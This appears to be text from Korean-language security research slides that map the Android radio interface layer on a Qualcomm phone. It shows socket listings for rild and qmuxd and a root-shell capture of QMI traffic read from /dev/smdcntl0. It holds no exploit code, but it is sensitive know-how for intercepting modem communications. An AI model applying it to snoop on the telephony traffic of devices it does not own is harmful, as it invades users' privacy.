unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1984 363/com.android.phone
unix 2 [ ] DGRAM 1982 363/com.android.phone
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

Rild의 socket 분석

bind()

client_fd = accept()

connect()
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 QUALCOMM MODEM 

 /sbin/rild (server)

 /var/rild 소켓
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Android telephony stack

 QUALCOMM MODEM 

 /sbin/rild (server)

 /var/rild 소켓

 com.android.phone (client)

 ???



• AT command VS QMI

– QMI : Qualcomm MSM Interface

모뎀 <-> RILD 통신 분석



/ # cat /dev/smdcntl0 | xxd
0000000: 013b 0080 0501 0400 0001 002f 0016 0100 .;........./....
0000010: 0011 1d00 0015 0000 0006 1500 040b a110 ................
0000020: 9036 2321 f100 0861 4031 1024 2163 0200 .6#!...a@1.$!c..
0000030: 6715 0800 0791 2801 0219 4139 011d 0080 g.....(...A9....
0000040: 0301 0400 0051 0011 0011 0800 8305 0008 .....Q..........
0000050: 96ff ffff 1303 00a9 0700 011d 0080 0301 ................
0000060: 0400 0051 0011 0011 0800 8305 0008 96ff ...Q............
0000070: ffff 1303 00a2 0700 013b 0080 0501 0400 .........;......
0000080: 0001 002f 0016 0100 0011 1d00 0016 0000 .../............
0000090: 0006 1500 040b a110 9036 2321 f100 0861 .........6#!...a
00000a0: 4031 1024 2163 0200 6715 0800 0791 2801 @1.$!c..g.....(.
/ #

/dev/smdcntl0
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Android telephony stack

 QUALCOMM MODEM 

 /sbin/rild

 /var/rild 소켓

 /dev/smdcntl0

 com.android.phone

 /usr/bin/qmuxd



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

qmuxd <-> rild 연결



/ # netstat -anp
…
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 3 [ ] STREAM CONNECTED 1787 226/atfwd_daemon /var/qmux_client_socket 226
unix 3 [ ] STREAM CONNECTED 1834 259/qmi_shutdown_mo /var/qmux_client_socket 259
unix 2 [ ACC ] STREAM LISTENING 1895 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1927 256/netmgrd /var/qmux_client_socket 256
unix 2 [ ACC ] STREAM LISTENING 1971 329/rild /var/rild
unix 2 [ ACC ] STREAM LISTENING 1972 329/rild /var/rild-debug
unix 3 [ ] STREAM CONNECTED 1973 329/rild /var/qmux_client_socket 329
unix 2 [ ACC ] STREAM LISTENING 1811 250/adbd @jdwp-control
unix 2 [ ACC ] STREAM LISTENING 1906 330/commander @COMMANDER
unix 4 [ ] DGRAM 1868 280/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 1908 331/wifi_daemon /tmp/wifi
unix 2 [ ACC ] STREAM LISTENING 1922 338/FOTA_DAEMON /tmp/ua
unix 2 [ ACC ] STREAM LISTENING 1979 327/start @android
unix 2 [ ACC ] STREAM LISTENING 1930 339/debuggerd @debuggerd
unix 3 [ ] STREAM CONNECTED 2040 250/adbd
unix 3 [ ] STREAM CONNECTED 2039 250/adbd
unix 2 [ ] STREAM CONNECTED 1991 327/start @android
unix 3 [ ] STREAM CONNECTED 1985 329/rild /var/rild
unix 3 [ ] STREAM CONNECTED 1976 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1966 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1928 242/qmuxd /var/qmux_connect_socket
unix 3 [ ] STREAM CONNECTED 1925 242/qmuxd /var/qmux_connect_socket
unix 2 [ ] DGRAM 1871 286/klogd
unix 3 [ ] STREAM CONNECTED 1809 250/adbd
unix 3 [ ] STREAM CONNECTED 1808 250/adbd
/ #

qmuxd <-> rild 연결

bind()

client_fd = accept()

connect()
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 QUALCOMM MODEM 

 /sbin/rild

 /var/rild 소켓

 /dev/smdcntl0

 com.android.phone

 /usr/bin/qmuxd

 /var/qmux_connect_socket


